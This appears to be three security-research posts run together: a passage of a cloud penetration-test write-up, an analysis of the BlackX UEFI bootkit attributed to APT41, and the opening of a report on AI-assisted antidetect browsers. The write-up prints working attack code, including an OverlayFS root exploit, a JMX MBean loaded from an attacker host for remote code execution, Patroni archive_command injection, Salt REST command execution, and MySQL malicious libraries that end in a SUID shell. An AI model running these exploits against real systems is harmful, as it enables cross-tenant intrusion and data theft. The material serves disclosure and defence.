As a result, we successfully received a callback from the control plane.

Konnectivity-server context and node network interfaces

Konnectivity-server context and node network interfaces

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Confirmation of command execution with root privileges

Confirmation of command execution with root privileges

Gaining root privileges opened up several interesting attack vectors:

  1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
  2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

Private SSH key in a VictoriaLogs record

Private SSH key in a VictoriaLogs record

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Process privileges on the host and available actions in Kubernetes

Process privileges on the host and available actions in Kubernetes

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

Discovered Java RMI service on port 9999

Discovered Java RMI service on port 9999

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

  • JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
  • JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
  • ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

  1. Create a standard MLet loader inside the Kafka JVM.
  2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
  3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces

Kafka process context and node network interfaces

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

AUTH command in an intercepted Redis request

AUTH command in an intercepted Redis request

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

Diagnostic information of the Valkey instance

Diagnostic information of the Valkey instance

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

Patroni configuration in etcd

Patroni configuration in etcd


{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

PostgreSQL process context and node network interfaces

PostgreSQL process context and node network interfaces

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

Database and S3 access parameters in a backup file

Database and S3 access parameters in a backup file

This storage holds backups not only of the current instance but also of all other databases in the cloud.

List of backup storage locations in S3

List of backup storage locations in S3

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

Fragment of the Salt Master file list

Fragment of the Salt Master file list

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

Database error during pillar processing

Database error during pillar processing

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

 Fragment of the table list in the cloudsmth schema

Fragment of the table list in the cloudsmth schema

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

Records with Salt Master authentication tokens

Records with Salt Master authentication tokens

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

Valkey process context and Salt grains parameters

Valkey process context and Salt grains parameters

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

Result of executing id via MySQL UDF

Result of executing id via MySQL UDF

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

22 de Outubro de 2026, 03:00

Introduction

Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.

BlackLotus advertisement

BlackLotus advertisement

However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.

Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.

The return of the infamous bootkit

In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.

Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:

  • inst.exe, an installer executable
  • PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation

The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.

Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.

The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.

While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.

Payload launched by the bootkit

The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.

The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.

The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.

User-mode second-stage payloads

Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:

File suffix Description Type
0X01 A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module Input
0X02 Result of the call TEST.Class1.RunCMD(argument_array) Output
0X03 Task to upload a file to the drive Input
0X04 Uploaded file Output
0X05 Task to download a file to an infected machine Input
0X06 File download status Output
SSSR Contains initial system info Output

We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.

Attribution

Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:

  • In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
  • The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
  • The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.

Why did the target organizations get infected?

During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.

Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:

  • A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
  • A scheduled task named Secure-Boot-Update is created.

This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.

Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.

It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.

Conclusion

Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.

However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.

  • ✇Check Point Research
  • The Risk of AI-Powered Antidetect Browsers in Online Fraud and Influence Operations matthewsu@checkpoint.com
    Key Findings Antidetect browsers obscure the digital identity of their users, enabling a single operator to silently manage thousands of isolated accounts across multiple platforms (including Facebook, TikTok, Instagram, and YouTube), while evading detection systems that look for scams and coordinated inauthentic behavior. Threat actors abuse these platforms, taking over accounts and using them for financial fraud, phishing and malware distribution. These accounts can also be used to coor
     

The Risk of AI-Powered Antidetect Browsers in Online Fraud and Influence Operations

20 de Outubro de 2026, 11:17

Key Findings

  • Antidetect browsers obscure the digital identity of their users, enabling a single operator to silently manage thousands of isolated accounts across multiple platforms (including Facebook, TikTok, Instagram, and YouTube), while evading detection systems that look for scams and coordinated inauthentic behavior.
  • Threat actors abuse these platforms, taking over accounts and using them for financial fraud, phishing and malware distribution. These accounts can also be used to coordinate influence operations, which becomes an even greater concern ahead of elections.
  • Social platforms primarily detect coordinated activity at the account and behavioral layer. Antidetect browsers run below the surface enabling them to remain undetected.
  • The three main antidetect browsers we discuss in this report are Kameleo, AdsPower, and MultiLogin.
  • These tools already use AI integration, from built-in automation templates to offering a dedicated MCP server that pipes LLM-generated content directly into pre-warmed account profiles at machine speed. Running a large-scale social media operation now requires only a credit card instead of a technical team.

Introduction

